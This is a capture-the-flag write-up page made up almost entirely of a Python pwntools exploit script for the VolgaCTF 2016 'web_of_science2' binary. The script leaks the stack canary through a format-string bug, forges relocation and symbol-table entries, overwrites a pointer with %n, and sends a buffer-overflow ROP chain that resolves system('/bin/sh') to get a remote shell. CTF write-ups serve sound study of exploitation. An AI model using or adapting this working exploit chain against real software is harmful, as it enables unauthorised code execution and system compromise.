Rating:

#!/usr/bin/env python2
'''
This is not really portable.
I had to guess link_map_address on the server (not really complex because of no ASLR).
With ASLR (local testing) it works by leaking the address to the link_map in the initial printf vulnerability.
The fact that this didn't work on the server indicates that the position of these variables on the stack dependes on the libc version.
'''

local = False

from pwn import *
context(arch = 'amd64', os = 'linux', bits = 64)

if local:
s = process('./web_of_science2')
else:
s = remote('webofscience2.2016.volgactf.ru', 45679)

# trigger a format string vulnerability to leak the solutions to the following tasks and the stack canary
s.recvuntil('first\n')
if local:
s.sendline('%9$d.%43$lx.%24$lx')
else:
s.sendline('%9$d.%43$lx')
s.recvuntil('would you.\n')

stack_canary = 0
link_map_address = 0x7ffff7ffe1c8
base_pointer = 0
lazy_link_address = 0x400820
bin_sh_address = 0x602100
system_address = 0x602108
reloc_address = 0x602208
sym_address = 0x602310
pop_rdi_ret = 0x4016b3
reloc_offset = (reloc_address - 0x400680) / 24
sym_offset = (sym_address - 0x4002c0) / 24
system_offset = system_address - 0x4004b8

# answer the summation tasks
for i in range(10):
s.recvuntil('?\n')
quest = s.recvuntil('your response: ')
interesting_parts = (quest.split(',')[0]).split('.')
answer = interesting_parts[0]
stack_canary = int(interesting_parts[1], 16)
if local:
link_map_address = int(interesting_parts[2], 16)
s.sendline(answer)

# go to add paper menu to create some data structs
s.recvuntil('> ')
s.sendline('1')

# place /bin/sh, system and the address to overwrite with 0 at their address
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('name: ')
s.sendline('/bin/sh\x00system\x00\x00' + p64(link_map_address + 0x1c8))

# create a fake reloc table entry
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('authors: ')
s.send('AAAAAAAA') # padding to begin at 0x602208
s.send(p64(0x602018))
s.send(p32(0x07))
s.send(p32(sym_offset))
s.sendline(p64(0))

# create a fake symtab entry
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('abstract: ')
s.send('AAAAAAAAAAAAAAAA') # padding to begin at 0x602310
s.send(p32(system_offset)) # strtab entry - This has to be "system" in the end
s.send(p32(0x12))
s.send(p32(0))
s.send(p32(0))
s.send(p32(0))
s.send(p32(0))
s.send('\n')

# create format string to overwrite the version table pointer with 0
s.recvuntil('> ')
s.sendline('4')
s.recvuntil('tags: ')
fmtstr = '%18$n'
s.sendline(fmtstr)

# trigger format string vulnerability
s.recvuntil('> ')
s.sendline('7')

# exit from add paper menu
s.recvuntil('> ')
s.sendline('8')

# buffer overflow with known stack canary
s.recvuntil('> ')
s.send(b'A' * 0x28)
s.send(p64(stack_canary))
s.send(p64(base_pointer))
s.send(p64(pop_rdi_ret))
s.send(p64(bin_sh_address))
s.send(p64(lazy_link_address))
s.send(p64(reloc_offset))
s.send('\n')

# trigger overflow
s.recvuntil('> ')
s.sendline('5')

s.interactive()

Original writeup (https://gist.github.com/ahasselbring/5e1cd52ec3d261bd0d55).